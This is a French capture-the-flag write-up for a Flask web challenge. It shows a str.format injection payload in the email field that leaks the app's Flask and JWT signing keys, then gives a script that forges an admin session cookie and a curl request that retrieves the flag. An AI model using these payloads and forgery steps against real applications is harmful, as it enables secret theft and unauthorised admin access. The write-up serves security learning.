Énoncé #
knock knock…
http://chal.competitivecyber.club:1337
Author: sans909
Aperçu #
Le challenge fournit le code source de l’application. L’arborescence complète n’est pas indispensable à la résolution, mais permet de repérer les routes et les utilitaires utilisés plus loin.
Afficher l'arborescence
.
├── build-docker.sh
├── challenge
│ ├── app.py
│ ├── blueprints
│ │ ├── api_routes.py
│ │ └── web_routes.py
│ ├── config.py
│ ├── database.py
│ ├── requirements.txt
│ ├── run.py
│ ├── static
│ ├── templates
│ │ ├── 403.html
│ │ ├── 404.html
│ │ ├── admin.html
│ │ ├── base.html
│ │ ├── home.html
│ │ ├── login.html
│ │ ├── personal-logs.html
│ │ ├── register.html
│ │ └── update-email.html
│ └── util.py
├── config
│ └── supervisord.conf
├── Dockerfile
└── entrypoint.sh
5 directories, 21 filesLe site propose une page de connexion et d’enregistrement. Une fois connecté, quatre routes supplémentaires sont accessibles :
/home/update-email/update-logs/logout
Les deux routes intéressantes sont /update-email, qui modifie l’adresse e-mail, et /update-logs, qui affiche l’historique des modifications. L’objectif est d’atteindre /admin avec le rôle admin : cette route récupère alors le flag depuis la variable d’environnement FLAG.
@web.route('/admin')
@is_admin
def admin_home():
flag = current_app.config['FLAG']
return render_template('admin.html', flag=flag)Résolution #
Identifier la format string vulnérable #
La route /update-email, définie dans api_routes.py, construit le message enregistré dans les logs :
@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
if not request.is_json:
return abort(400, 'Invalid POST format!')
data = request.get_json()
new_email = data.get('email', '')
if not is_valid_email(new_email):
return abort(401, 'Invalid Email')
# Get old email address
token = session.get('auth')
decoded_token = verify_JWT(token)
old_email = decoded_token["email"]
# Logging Data
time = datetime.now()
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
log_text = f"Email updated to {new_email} at {update_date}"
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
# Update users
call_procedure("update_user_email", (old_email, new_email))
# Insert Logs
log_text = escape_html(log_text)
call_procedure("insert_log", (new_email, log_text))
# Log out of the page
session['auth'] = None
return redirect(url_for('web.logout'))new_email est d’abord interpolé dans une f-string, puis le résultat est interprété une seconde fois par str.format(). Une adresse contenant des accolades devient donc un champ de format contrôlé par l’utilisateur.
Trois objets sont exposés à format() : new_email, timestamp et update_date. Le plus intéressant est la fonction timestamp, définie dans util.py :
from functools import wraps
from flask import abort, session
import hashlib
import os
import jwt
import datetime
import re
def generate_key(x): return os.urandom(x).hex()
FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)
[...]
def timestamp():
return datetime.now()Les champs de remplacement de str.format() permettent de parcourir les attributs et les index d’un objet. En partant de timestamp, timestamp.__globals__ donne donc accès aux variables globales du module util.py, notamment FLASK_SECRET_KEY et jwt_key.
Le payload reste une adresse valide tout en déclenchant cette traversée :
{timestamp.__globals__}@aLa partie @a est nécessaire, car la valeur envoyée doit aussi valider la regex de is_valid_email() :
email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])'
if re.fullmatch(email_regex, email, re.IGNORECASE):
return True
return FalseAprès la mise à jour, le contenu formaté est consultable dans les logs et révèle les deux secrets :
Email updated to {'__name__': 'util', [...],
'FLASK_SECRET_KEY': 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d',
'jwt_key': '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7',
[...], 'escape_html': <function escape_html at 0x7f5accdaf4c0>}@a at 2024-09-24 19:15:19Une seconde approche consiste à lire directement
FLAGvia le moduleos, importé dansutil.py, avec{timestamp.__globals__[os].environ[FLAG]}@a.
Forger la session d’un administrateur #
L’authentification utilise deux signatures. jwt_key permet de créer le JWT contenant le rôle admin, tandis que FLASK_SECRET_KEY permet à Flask de signer le cookie de session qui transporte ce JWT.
Le script suivant reprend la fonction create_JWT() de l’application, place le token forgé dans session['auth'], puis laisse Flask produire un cookie valide :
import datetime
import jwt
from flask import Flask, session, request
# FLASK_SECRET_KEY and jwt_key leak
# {timestamp.__globals__}@a
app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
app.config['SECRET_KEY'] = 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d'
jwt_key = '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7'
def create_JWT(email: str, role='regular'):
utc_time = datetime.datetime.now(datetime.timezone.utc)
token_expiration = utc_time + datetime.timedelta(minutes=1000)
data = {'email': email, 'exp': token_expiration, 'role': role}
encoded = jwt.encode(data, jwt_key, algorithm='HS256')
return encoded
@app.route('/')
def get_token():
email = request.args.get('email') if request.args.get('email') else '[email protected]'
role = request.args.get('role') if request.args.get('role') else 'admin'
session['auth'] = create_JWT(email, role)
return '<script>document.write(document.cookie)</script>'
app.run()En ouvrant la route locale du script, le navigateur reçoit la session signée :
session=.eJxFzMsKgkAYhuF78QLEU5YtS5RfUDHN0yacUXF0RoTRaozuPV21-DYvH89Hqpa5k85SI7wOuZiExIP7CmpAgMN4O-ArmDBMeXr1LHk7UZQ5E9ojcwaU0SVygyfKL7R2qVLlJS10SsoclkJ7q8WOsNTYET_BIlhB2yZ88SKYWbyM_w6Mimz4TeoAZ1x9hLXZJjw6xqPbNGEr5r4PDL1WEu1k22wypO8PPjc_Hg.ZvMXNw.B3RDEy103cr1ZjNcEvk6aiVTzv4Exploitation #
Il ne reste plus qu’à envoyer ce cookie à la route /admin :
$ curl -H "Cookie: session=.eJxFzEsOgjAUQNG9sAACqCQ4QxLwoVSUX2FGK5FCSwg_BePelZHTm5vzlvJxKKW9VMxuSRzKLsyFaAEVMeihue2oBTrULY4t15B_EyeJ3ZI1CrsmCR-vDpoIPvC7w5UcZzzdcJZhGFPtpaYrIuLtinghndECGlpqFc1PRoXRZ8HfgUaRhSmGU-AXFIe62UxdB2c_MQbPL_GoWOxhiyLxlOq4VJH0-QJDVT_K.ZvMaFQ.SeRPsegU7phX7Hdjx20Q8SZ1G8s" http://chal.competitivecyber.club:1337/admin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Page</title>
</head>
<body>
<h1>Admin Page</h1>
<p>The flag: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}</p>
</body>
</html>FLAG: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}
Conclusion #
La vulnérabilité vient de la seconde interprétation d’une donnée contrôlée par l’utilisateur par str.format(). La traversée de timestamp.__globals__ révèle les deux secrets nécessaires : l’un signe le JWT administrateur, l’autre la session Flask qui le contient. Avec ces deux couches correctement forgées, /admin retourne le flag.